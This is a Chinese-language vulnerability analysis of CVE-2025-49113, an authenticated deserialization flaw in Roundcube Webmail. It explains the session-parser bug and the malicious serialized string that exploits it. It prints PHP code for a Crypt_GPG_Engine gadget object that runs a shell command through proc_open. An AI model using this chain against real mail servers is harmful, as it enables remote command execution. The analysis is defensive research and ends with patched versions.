CVE-2025-49113 Roundcube Webmail反序列化漏洞分析
CVE-2025-49113 Roundcube Webmail反序列化漏洞分析
台下言书 2025-06-05 11:18
简介
Roundcube Webmail
是一款开源、基于 Web 的电子邮件客户端,旨在为用户提供简洁而强大的邮件管理工具。
影响版本
-
Roundcube Webmail < 1.5.10
-
1.6.0 ≤ Roundcube Webmail < 1.6.11
漏洞分析
1.反序列化入口点
通过查看官方github
仓库的commit
,发现核心补丁是对请求参数 _form
进行了严格的符号校验,禁止其包含特定特殊字符。
定位到关键入口文件 upload.php
,其功能是处理文件上传。
除了上传文件过程中引用到_form
参数值,只有$rcmail->session->append($type . ‘.files’, $id, $attachment);
这条语句调用了由_form
参数生成的$type
,跟进去分析append
方法的细节。
在rcube_session.php
文件中,可以看到php
常用的反序列化函数unserialize
。结合漏洞披露信息,可以猜测漏洞的关键触发点就在该文件中。
rcube_session
类通过session_set_save_handler
函数将自定义的函数注册到handler
中,实现了session
的自定义序列化与反序列化过程。
public staticfunction unserialize($str){ $str = (string) $str; $endptr = strlen($str); $p = 0; $serialized = ''; $items = 0; $level = 0; while ($p < $endptr) { $q = $p; while ($str[$q] != '|') if (++$q >= $endptr) break2; if ($str[$p] == '!') { $p++; $has_value = false; } else { $has_value = true; } $name = substr($str, $p, $q - $p); $q++; $serialized .= 's:' . strlen($name) . ':"' . $name . '";'; if ($has_value) { for (;;) { $p = $q; switch (strtolower($str[$q])) { case'n': // null case'b': // boolean case'i': // integer case'd': // decimal do $q++; while (($q < $endptr) && ($str[$q] != ';')); $q++; $serialized .= substr($str, $p, $q - $p); if ($level == 0) { break2; } break; case'r': // reference $q+= 2; for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) { $id .= $str[$q]; } $q++; // increment pointer because of outer array $serialized .= 'R:' . ($id + 1) . ';'; if ($level == 0) { break2; } break; case's': // string $q+=2; for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) { $length .= $str[$q]; } $q+=2; $q+= (int)$length + 2; $serialized .= substr($str, $p, $q - $p); if ($level == 0) { break2; } break; case'a': // array case'o': // object do $q++; while ($q < $endptr && $str[$q] != '{'); $q++; $level++; $serialized .= substr($str, $p, $q - $p); break; case'}': // end of array|object $q++; $serialized .= substr($str, $p, $q - $p); if (--$level == 0) { break2; } break; default: returnfalse; } } } else { $serialized .= 'N;'; $q += 2; } $items++; $p = $q; } return unserialize('a:' . $items . ':{' . $serialized . '}');}
该自定义的反序列化函数unserialize
函数中有一个逻辑错误。
正常的序列化数据如下,其中,可控的点为identity
是由_form
参数生成的,2.png
是文件名。
identity|a:1:{s:5:"files";a:1:{s:20:"11749052287082347400";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406b7fc8ff4551457662";s:4:"size";i:228;s:4:"name";s:5:"2.png";s:8:"mimetype";s:9:"image/png";s:5:"group";s:8:"identity";s:2:"id";s:20:"11749052287082347400";}}}
自定义函数在遇到|
后,会跳出while
循环,将其当作键名。随后判断键名是否以!
开头,如果以此开头,那就直接跳过if
语句的第一个分支,直接追加N;
,进入下一个解析环节,寻找下一个|
出现的位置作为解析的起始点,这就导致容易错位解析,从而控制反序列化流程。 恶意的序列化数据如下,_form
构造!identity
值,文件名则取2|s:2:”12
,就能控制反序列化流程。
!identity|a:1:{s:5:"files";a:1:{s:20:"11749052882029285800";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406dd247794593223028";s:4:"size";i:228;s:4:"name";s:10:"2|s:2:"12"";s:8:"mimetype";s:9:"image/png";s:5:"group";s:9:"!identity";s:2:"id";s:20:"11749052882029285800";}}}
2. 构造POP链
在源码中搜索 __destruct
,可以看到 Crypt_GPG_Engine
类的 __destruct
方法会调用 _closeIdleAgents
,而 _closeIdleAgents
会调用 proc_open
执行命令。
构造序列化数据的 PHP 代码如下:
<?phpclass Crypt_GPG_Engine{ const CHUNK_SIZE = 65536; const FD_INPUT = 0; const FD_OUTPUT = 1; const FD_ERROR = 2; const FD_STATUS = 3; const FD_COMMAND = 4; const FD_MESSAGE = 5; const MIN_VERSION = '1.0.2'; public $_strict = false; public $_debug = false; public $_binary = ''; public $_agent = ''; public $_gpgconf = "id > pwned;"; public $_homedir = ''; public $_publicKeyring = ''; public $_privateKeyring = ''; public $_trustDb = ''; public $_pipes = array(); public $_agentPipes = array(); public $_openPipes = array(); public $_process = null; public $_agentProcess = null; public $_agentInfo = null; public $_isDarwin = false; public $_digest_algo = null; public $_cipher_algo = null; public $_compress_algo = null; public $_options = array(); public $_commandBuffer = ''; public $_processHandler = null; public $_statusHandlers = array(); public $_errorHandlers = array(); public $_input = null; public $_message = null; public $_output = ''; public $_operation; public $_arguments = array(); public $_version = '';}$test = new Crypt_GPG_Engine();echo serialize($test);
3. 鉴权逻辑分析
回头分析鉴权相关内容,网站根目录下 index.php
文件:
可以看到从前端获取_task
,_action
参数,并对其做判断。如果_task
为login
或logout
,_action
为login
或oauth
,则不做身份校验;其他的_task
一律要对$_SESSION
里的user_id
做判断。该漏洞的触发点在settings
的_task
,因此需要认证通过的用户。
修复方案
官方已发布修复方案,受影响的用户建议及时更新至对应安全版本:
– Roundcube 1.5.x:
https://github.com/roundcube/roundcubemail/releases/tag/1.5.10
- Roundcube 1.6.x:
https://github.com/roundcube/roundcubemail/releases/tag/1.6.11
⚠️ 此漏洞需要用户手动更新,官方不会强制推送更新。